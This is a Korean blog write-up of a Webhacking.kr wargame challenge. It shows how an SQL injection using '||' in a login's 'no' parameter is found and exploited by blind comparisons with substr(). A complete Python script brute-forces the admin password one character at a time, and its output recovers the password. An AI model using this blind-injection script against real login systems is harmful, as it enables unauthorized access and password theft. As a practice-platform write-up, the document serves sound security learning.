티스토리 뷰
no, id, pw 를 입력을 해서 로그인할 수 있는 페이지를 볼 수 있다.
로그인을 해보면 아래와 같이 Success - guest 를 볼 수 있다.
no 부분에 ||를 이용해서 SQL Injection이 되는 지 확인해보면 로그인이 되는 것을 볼 수 있다.
이를 이용해서 id 값의 첫 글자를 비교해보면 3가지 결과를 얻을 수 있다.
0x66(f) 와 비교하였을 경우 해당하는 값은 참이 될 수 없기 때문에 Failure이 발생한다.
0x67(g) 와 비교하였을 경우 guest가 있기 때문에 참이 된다.
0x61(a) 와 비교하였을 경우 admin이 있기 때문에 참이 되고 guset와 달리 admin password를 입력하는 부분을 볼 수 있다.
값을 입력해보면 Wrong 이 발생한다.
pw의 길이가 10일 때 admin password 페이지가 발생하기 때문에 admin의 pw 길이는 10인 것을 알 수 있다.
이러한 특징을 이용해서 admin 의 패스워드를 알아낼 수 있다.
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib import string str_list = string.letters + string.digits + "!@#$%^&*()_-+=" hex_list = [hex(ord(i)) for i in str_list] password = "" for i in range(1,11): for j in hex_list: url = "/challenge/web/web-29/index.php?no=2%7C%7Csubstr%28pw%2C"+str(i)+"%2C1%29%3D"+j+"&id=guest&pw=guest" cookie = {'Cookie':'PHPSESSID=olg7o6fi072j2r54n9tv6on461'} conn = httplib.HTTPConnection('webhacking.kr') conn.request('GET',url,'',cookie) data = conn.getresponse().read() conn.close() # print data if(data.find('auth') != -1): print str(i)+": "+j password += chr(int(j[2:],16)) break print '' print password | cs |
1: 0x6c 3: 0x63 4: 0x6b 5: 0x5f 6: 0x61 7: 0x64 8: 0x6d 9: 0x69 10: 0x6e lck_admin | cs |
결과를 보면 2번째가 빠져있는 것을 볼 수 있다.
이는 guest 와 결과가 같아서 생기는 문제로 guest의 2번째에 해당하는 u를 삽입해주면 admin의 패스워드는 luck_admin 인 것을 알 수 있다.
(문제를 다시 풀면서 느낀 점은 이전에 fuck이 들어간 키 값들이 luck으로...)
인증은 URL에 auth 파라미터로 넘겨주면 쉽게 할 수 있다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
Challenge 45 (0) | 2015.08.28 |
---|---|
Challenge 44 (0) | 2015.08.28 |
Challenge 43 (0) | 2015.08.28 |
Challenge 42 (0) | 2015.08.28 |
Challenge 41 (0) | 2015.08.15 |
Challenge 39 (0) | 2015.08.14 |
Challenge 38 (0) | 2015.08.13 |
Challenge 37 (0) | 2015.08.12 |
Challenge 36 (0) | 2015.08.12 |
Challenge 35 (0) | 2015.08.12 |
댓글